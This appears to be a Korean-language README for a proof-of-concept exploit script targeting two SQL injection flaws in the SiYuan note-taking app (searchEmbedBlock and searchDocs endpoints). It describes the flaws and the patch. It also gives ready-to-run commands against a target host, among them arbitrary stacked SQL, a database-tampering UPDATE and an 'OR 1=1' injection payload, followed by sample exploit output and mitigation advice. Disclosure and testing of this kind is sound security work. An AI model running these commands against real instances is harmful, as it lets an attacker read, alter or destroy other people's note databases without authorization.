
CVE-2026-69084/69085 — searchEmbedBlock + searchDocs SQLi를 통한 SiYuan 임의 SQL 실행 (CVSS 9.9). v3.7.2에서 검증됨, v3.7.3에서 거부됨.
CVE-2026-69084: /api/search/searchEmbedBlock을 통한 임의 SQL 실행
CVE-2026-69085: /api/filetree/searchDocs를 통한 SQL 인젝션
CVSS 9.9 (치명적) 각각 · CWE-89 · SiYuan <= v3.7.2 (v3.7.3에서 수정됨)
2026-08-03 게시 · 게시 시점에 공개 PoC 없음
SiYuan(오픈소스 노트 필기 앱, github.com/siyuan-note/siyuan)은 공격자가 제어하는 SQL을
SQLite 데이터베이스로 전달하는 두 개의 API 엔드포인트를 노출합니다:
CVE-2026-69084 — /api/search/searchEmbedBlock:
stmt 파라미터가 단일 문장 또는 읽기 전용 제한 없이 메인 읽기-쓰기
siyuan.db 핸들에 그대로 전달됩니다. SQLite 드라이버는 스택된(세미콜론으로 구분된)
문장을 실행하므로, 공격자는 데이터베이스의 모든 것을 CREATE / INSERT / UPDATE / DELETE / DROP할 수 있습니다.
CheckAuth로만 보호됩니다 — publish RoleReader 토큰으로 접근 가능하거나, publish 모드에서
Publish.Auth.Enable=false인 경우 익명으로 접근 가능합니다.
CVE-2026-69085 — /api/filetree/searchDocs:
keyword 파라미터가 이스케이프나 파라미터 바인딩 없이 SQL에 직접 연결됩니다.
둘 다 v3.7.3에서 sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox()를 통해 수정되었습니다.
# 1. 비파괴적 프로브 (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB 쓰기 증명: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. 임의 SQL 실행 (스택된 문장 지원)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
인스턴스가 publish 모드가 활성화되고 인증이 비활성화된 상태로 실행되는 경우
(Publish.Auth.Enable=false), --auth가 전혀 필요하지 않습니다.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db
# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
패치된 v3.7.3은 동일한 요청을 거부합니다:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT는 여전히 작동합니다 (정상 기능 유지)Python PoC는 세션 로그인(/api/system/loginAuth)을 수행하여
인증 쿠키를 얻은 다음, 취약한 엔드포인트에 POST합니다. b3log/siyuan:v3.7.2(취약) 및
b3log/siyuan:v3.7.3(패치)에 대해 테스트되었습니다.
Publish.Auth.Enable=true를 유지하고
강력한 RoleReader 토큰을 사용하세요.승인된 보안 테스트 및 교육 목적으로만 사용하세요.